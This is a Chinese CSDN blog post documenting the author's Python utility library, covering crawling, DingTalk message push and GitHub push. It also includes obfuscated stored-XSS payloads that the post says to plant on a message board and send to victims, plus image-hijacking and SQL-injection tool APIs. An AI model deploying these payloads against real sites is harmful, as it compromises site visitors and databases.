[ 网络安全] 博主自制Python三方库API (钉钉消息推送接口)

置顶 已于 2023-06-18 14:29:09 修改
阅读量993 收藏 2
点赞数
分类专栏： 网络工具 文章标签： python 开发语言
于 2023-04-10 20:44:35 首次发布
Whoami? Martin
本文链接：https://blog.csdn.net/qq_51886509/article/details/130068236
版权

Github==>https://github.com/MartinxMax/MAPI

注意

在使用API类前,你必须在你的项目中导入该包

爬虫接口(暂时只能爬取服务端渲染后数据)

电影票房示例
复制XPATH和URL

在这里插入图片描述

from Crawling_Spider_Collection import Crawling_Spider_Collection

Crawling_Spider = Crawling_Spider_Collection()
for i1 in range(2,4):
    for i2 in range(1,13):
        print(Crawling_Spider.draw(f'https://www.48971.com/category-2_{i1}.html',f'/html/body/div[1]/div[2]/div/div[2]/div/ul/li[{i2}]/div[2]/a')[-1])

运行结果

在这里插入图片描述

发送请求报文接口

示例

from Processing_messages import Processing_messages
# 智能聊天AI接口 你可以对接ChatGpt ...
Header = '''
GET /api.php?key=free&appid=0&msg=<Martin>&_=1681129500299 HTTP/1.1
Host: api.qingyunke.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://api.qingyunke.com/
'''
pag = Processing_messages()
url,stat,message,header=pag.Main('http',Header,'<Martin>','你好')
print(f"URL[{stat}]:{url}\nComment:{message}\nRespon_Header:{header}")

运行结果

在这里插入图片描述

XSS_Construction (XSS攻击接口)

URL_Method方法 （Location.hash攻击）

XSS_Construction.URL_Method(网址,不带script标签的JS代码)
返回结果
构造后网址,手动触发Payload,自动触发Payload

示例

from XSS_Construction import XSS_Construction

XSS = XSS_Construction()
url,hand,auto = XSS.URL_Method('http://127.0.0.1/index.php','window.location.href = \'http://www.baidu.com\';')
print("手动触发URL地址:"+url)
print("手动触发Payload:"+hand)
print("自动触发Payload:"+auto)

运行结果

在这里插入图片描述

存储型XSS手动触发

复制手动触发Payload:<script>eval(atob('ZXZhbCh1bmVzY2FwZShhdG9iKGxvY2F0aW9uLmhhc2guc3Vic3RyKDEpKSkp'))</script>

将Payload写入留言板
在这里插入图片描述将手动触发URL发给受害者:http://127.0.0.1/index.php#d2luZG93LmxvY2F0aW9uLmhyZWYgPSAnaHR0cDovL3d3dy5iYWlkdS5jb20nOw==

请添加图片描述

存储型XSS自动触发

复制自动触发Payload:<script>eval(atob('bG9jYXRpb24uaGFzaD0nI2QybHVaRzkzTG14dlkyRjBhVzl1TG1oeVpXWWdQU0FuYUhSMGNEb3ZMM2QzZHk1aVlXbGtkUzVqYjIwbk93PT0nO2V2YWwoYXRvYignWlhaaGJDaDFibVZ6WTJGd1pTaGhkRzlpS0d4dlkyRjBhVzl1TG1oaGMyZ3VjM1ZpYzNSeUtERXBLU2twJykp'))</script>

将Payload写入留言板,等待受害者

请添加图片描述

Fake_Method方法 （data伪协议执行JS语句）

XSS_Construction.Fake_Method(携带script标签JS代码)
返回结果
Data伪协议Payload
示例

from XSS_Construction import XSS_Construction

XSS = XSS_Construction()
print(XSS.Fake_Method("<script>alert('Martin')</script>"))

运行结果

在这里插入图片描述
请添加图片描述

Image_hijacking_Method (网站图片劫持接口)

示例

from XSS_Construction import XSS_Construction

image_hk= XSS_Construction()
paylaod,path = image_hk.Image_hijacking_Method('http://192.168.101.128/cat/cat/61.147.171.105_55557/index.php',"./hk.gif")
print("XSS-Payload:"+paylaod)
print("path:"+path)

运行结果

在这里插入图片描述
请添加图片描述

随机User-Agent接口

示例

from Random_User_Agent import Random_User_Agent

rand = Random_User_Agent()
print(rand.Random_UA())

运行结果

在这里插入图片描述

GitAction (Github仓库代码一键提交)

提供UI界面工具
GitPush v1.0.0下载地址:https://github.com/MartinxMax/GitPush
GitPush v1.0.0详细教程:http://t.csdn.cn/dPdSm

示例

from GitAction import GitAction
# GitAction(False) 关闭回显
git = GitAction()
# 远程仓库 本地文件路径 GithubToken 分支(不指定默认master) 备注内容
git.push(remotegit='https://github.com/xxxxxxx/xxxxxxxx.git',
          path='G:\\Github\\xxxx',
          token='github_pat_xxxxx',
          branch='master',
          commit='helki')

运行结果

在这里插入图片描述

获取Github Token

要获取Github的token，您需要进行以下操作：

登录到您的GitHub帐户。
单击页面右上角的个人资料照片并选择“Settings”。
在左侧导航菜单中选择“Developer settings”。
在下拉菜单中选择“Personal access tokens”。
单击“Generate new token”。
为您的token命名，并选择您需要授予的权限。
单击“Generate token”。
复制和保存生成的访问令牌。请注意，这是您唯一的机会在此时查看访问令牌

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
全部改为Access:Read and Write
在这里插入图片描述生成Token

SQL注入获取数据库配置信息接口

MartSQLI v1.0.0下载地址:https://github.com/MartinxMax/MartSQLI
GitPush v1.0.0详细教程:https://www.freebuf.com/articles/web/368582.html

示例

from MartSQLIAPI import SQLIInformationRetriever

sqls = SQLIInformationRetriever()
sqls.loadfile('x://xxx/xxxx/payload.txt','<@MARTIN>')
sqls.method(echo="Login")
sqls.setlog() # 可以不写这一行,setlog表示输出样式变得好看
sqls.run()

Processing_messages包一定要和MartSQLIAPI包在同一目录下

找到SQL注入点
请添加图片描述将数据包复制到payload.txt,将所<@MARTIN>标记为执行sql语句的地方
请添加图片描述

运行结果

请添加图片描述
在这里插入图片描述

DingTalkPush (钉钉消息推送接口)

获取TOKEN和密匙

在这里插入图片描述

示例:发送文本消息

from DingTalkPush import DingTalk

TK = DingTalk(True) # 输入True将开启回显,输入False将关闭回显
TK.set_token('dbbbb...')
TK.set_secret('SECe6475')
TK.send_text('hello world')

运行结果

请添加图片描述
示例:发送图片文本消息

from DingTalkPush import DingTalk

TK = DingTalk(True) # 输入True将开启回显,输入False将关闭回显
TK.set_token('dbbbb...')
TK.set_secret('SECe6475')
TK.send_pic(message='Hello',picture='https://image.3001.net/images/20230508/1683551647_6458f59fe7fe949265aab.png',title='maptnh',link='https://www.freebuf.com/author/maptnh')
# tile 文本标题
# message 内容
# picture 图片地址
# link 超链接地址

运行结果

请添加图片描述

Мартин.
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Python爬虫：从社交媒体收集帖子和评论的完整指南
2201_76125393的博客
09-17 303
在今天的数字时代，社交媒体成为了信息传播和交流的主要平台之一。因此，了解如何使用Python爬虫工具来收集社交媒体上的帖子和评论是非常有用的技能。本文将为您提供一个清晰的思路，帮助您编写一个功能强大的Python爬虫，从社交媒体上抓取帖子和评论。
调用钉钉API发送消息通知给个人或部门
u011250186的博客
07-31 9272
先让公司行政将你设置为管理员： 需要拥有的权限为：工作台管理,开发者权限。 登录钉钉管理后台： https://oa.dingtalk.com 首先，在开发者账号管理中添加ip白名单 https://open-dev.dingtalk.com/ 开发者信息》开发者账号管理：本企业开发授权：编辑 然后创建应用 选择工作台》自建应用 先创建应用 完成后查看信息 申请好后可通过下面项目进行测试 ht...
调用钉钉服务端API发送工作通知消息
热门推荐
浪子天涯行世录
02-06 2万+
需求：在业务系统中产生的通知消息，通过调用钉钉服务端API，发送到对应员工的钉钉客户端。 步骤： 目录 1.创建并配置消息发送应用 1.1登录开发者后台 1.2创建H5微应用 1.3配置H5微应用 2.调用服务端API发送消息 2.1获取access_token 2.2根据手机号获取userid 2.3发送工作通知消息 2.4查询工作通知消息的发送进度 2.5查询工作通知消...
[Python进阶] 通过钉钉机器人发送消息到群
最新发布
知智
02-26 1053
程序在运行的一定的程度时，如果需要通知到手机上，又或者每天要将一些信息作为日报形式发给某些人，这些场景其实都可以通过Python调用钉钉机器人实现。
大数据之Python实现每日钉钉数据自动推送
c4vc4v的博客
11-17 5280
大数据之Python实现每日钉钉数据自动推送 最近有一个需求，领导们需要关注每日的一些指标。简单研究了一下，发现用python+impala+钉钉可以实现，最终敲定了两个方式 python+钉钉 python+邮件推送 下面简单的记录一下实现第一种方案的： 一，钉钉群内添加推送的小机器人 在这里可以随意选择一种安全设置：我尝试了自定义的方式 最后会生成一个Webhook，这个后面我们代码里面会用到 二，代码实现 from datetime import datetime import js
Python调用钉钉机器人发送消息
秃秃的测试
08-18 2658
一、添加钉钉机器人 步骤一，登录钉钉，在机器人管理页面选择“自定义”机器人，输入机器人名字并选择要发送消息的群。如果需要的话，可以为机器人设置一个头像。点击“完成添加”，完成后会生成Webhook地址 步骤二，点击“复制”按钮，即可获得这个机器人对应的Webhook地址，其格式如下： https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxx 二、获取timestamp与sign参数 # 获取timestamp参数 timestamp.
python向钉钉群发送消息、接受消息
05-21
最近产品小姐姐说，要想钉钉群发送消息，接受消息，于是我研究了一番，总共俩文件，一个是python发消息，一个是python接受钉钉消息。
爬虫-接入钉钉机器人
DFireTesting的博客
10-31 5414
爬虫-接入钉钉机器人
调用钉钉接口消息推送
樱花的博客
07-29 1万+
首先登陆钉钉开发者后台 https://ding-doc.dingtalk.com/ 选择H5微应用，创建应用 创建好之后，查看所建好的应用信息（其中AgentId，AppKey，AppSecret很重要，调用时需要用到） 设定白名单访问地址，当前网络的公网IP 效果如下 源码---->首先下载官方的开发Dome https://developers.dingtalk...
基于Python的消息推送(钉钉、微信、QQ)
qq_40140889的博客
08-31 3236
文章目录前言一、添加机器人1. 新建群聊2. 添加机器人3. 设置机器人二、程序编写三、运行测试总结 前言 本文章仅作记录分享, 主要用于及时获取脚本运行结果, 因此会与官方文档多有重合,可直接参考 钉钉机器人官方文档 进行设置 一、添加机器人 1. 新建群聊 2. 添加机器人 3. 设置机器人 二、程序编写 import os print("Hello World") 该处使用的url网络请求的数据。 三、运行测试 总结 提示：这里对文章进行总结： 例如：以上就是今天要讲的内容，本文仅仅简单介
python 每天发一次通知_用Python实现阿里钉钉机器人读取数据库内容自动发群通知...
weixin_39981632的博客
12-04 471
from datetime importdatetimeimportjsonimporturllib.requestimportpymysql as pmsfrom apscheduler.schedulers.blocking importBlockingSchedulerfrom apscheduler.schedulers.background importBackgroundSchedul...
python3实现钉钉消息推送的方法示例
09-19
主要介绍了python3实现钉钉消息推送的方法示例，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧
利用python推送消息到钉钉群
07-04
在钉钉群中添加机器人，通过该机器人往群里发消息，此代码默认为文本内容，首先需要在群众添加机器人，得到这个机器人的url
利用python给钉钉发消息
12-20
使用介绍：https://www.bilibili.com/video/BV19i4y1d7xY/
PHP 通过钉钉API向员工推送消息(以工作通知的形式)
qq_40902326的博客
05-31 1445
获取 accessToken 需要开通相应的接口权限，没有开通权限，用 api 是获取不到任何数据的。上图所示获取: 获取企业内部应用的 accessToken 需要开通 ” 调用企业 API 基础权限 ” 权限。第六步: 给员工发送工作通知(开通调用企业 API 基础权限，在第三步时候开通了，现在就不截图了)，直接上代码。企业内部应用发送消息单次最多只能给 5000 人发送，第三方企业应用发送消息单次最多能给 1000 人发送。第五步: 获取到员工 id(获取员工 id，需要开启通讯录部门成员读权限)
Python社交媒体爬虫：获取Twitter、Instagram和Facebook用户信息、帖子与评论的完整指南
2201_76125393的博客
07-30 2620
社交媒体爬虫是一类网络爬虫，其目的是从社交媒体平台上自动抓取用户信息、帖子和评论等数据。社交媒体平台如Twitter、Instagram和Facebook等提供了API（Application Programming Interface）用于访问和获取平台上的数据。通过使用这些API，我们可以开发爬虫程序，实现自动化地抓取数据，用于分析、研究和推荐系统等应用。
dingding钉钉 python接口
weixin_37281967的博客
02-16 3264
最近疫情，各种视频和通信工具火了，微信不能9个人以上进行视频会议(好像改进了)。刚开年用的是钉钉来开会，刚好年前又用了下钉钉的Py接口，昨天搞硬件没写，所以今天把前面用钉钉剩下的一些问题翻出来，重新用下，后面AI优化好了可以作为及时通信接口。 钉钉的py封装推荐https://pypi.org/project/DingtalkChatbot/ 不知道是大神开发，还是和阿里有渊源，看源码是作者d...
python 钉钉接收消息_Python实现钉钉订阅消息功能
weixin_30488255的博客
02-09 4144
钉钉设置机器人首先在钉钉设置钉钉机器人群设置—> 智能群助手—>添加机器人—>自定义添加完成，得到一个Webhook API地址Python脚本实现推送钉钉消息钉钉官方给出了机器人接口的文档：https://ding-doc.dingtalk.com/doc#/serverapi2/qf2nxq但是该文档只实现了JAVA和PHP的示例。以下是python脚本的示例。# -*- c...
python 钉钉机器人推送消息推送数据表格
05-14
Python 钉钉机器人是一种自动化推送消息机器人，可以通过API接口快速实现对钉钉工作群进行消息推送。钉钉机器人可以用于各种场景，如：工作提醒、预定会议室、查询日程等功能。 钉钉机器人推送数据表格是一种高效、...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值